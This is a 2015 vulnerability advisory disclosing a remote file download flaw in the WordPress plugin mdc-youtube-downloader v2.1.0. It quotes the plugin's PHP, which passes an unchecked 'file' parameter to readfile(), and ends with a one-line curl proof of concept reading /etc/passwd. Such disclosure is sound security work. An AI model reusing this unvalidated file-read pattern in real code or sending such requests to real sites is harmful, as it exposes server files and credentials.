Remote file download in Wordpress Plugin mdc-youtube-downloader v2.1.0

["Larry W. Cashdollar" <larry0 () me com>]

Title: Remote file download in Wordpress Plugin mdc-youtube-downloader v2.1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-01
Download Site: https://wordpress.org/plugins/mdc-youtube-downloader
Vendor: https://profiles.wordpress.org/mukto90/
Vendor Notified: 2015-07-01, removed vulnerable code.
Vendor Contact: n.mukto () gmail com
Description: MDC YouTube Downloader allows visitors to download YouTube videos directly from your WordPress site.
Vulnerability:
The code in mdc-youtube-downloader/includes/download.php doesn't restrict access to the local file system allowing 
sensitive files to be
downloaded:

$file_name = $_GET['file'];

// make sure it's a file before doing anything!
if(is_file($file_name)) {
.
.
.
 switch(strtolower(substr(strrchr($file_name, '.'), 1))) {
                case 'pdf': $mime = 'application/pdf'; break;
                case 'zip': $mime = 'application/zip'; break;
                case 'jpeg':
                case 'jpg': $mime = 'image/jpg'; break;
                default: $mime = 'application/force-download';
        }
        header('Pragma: public');       // required
        header('Expires: 0');           // no cache
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ($file_name)).' GMT');
        header('Cache-Control: private',false);
        header('Content-Type: '.$mime);
        header('Content-Disposition: attachment; filename="'.basename($file_name).'"');
        header('Content-Transfer-Encoding: binary');
        header('Content-Length: '.filesize($file_name));        // provide file size
        header('Connection: close');
        readfile($file_name);           // push it out
        exit();

CVEID: Requested, TBD.
OSVDB: TBD.
Exploit Code:
        • $ curl http://www.example.com/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd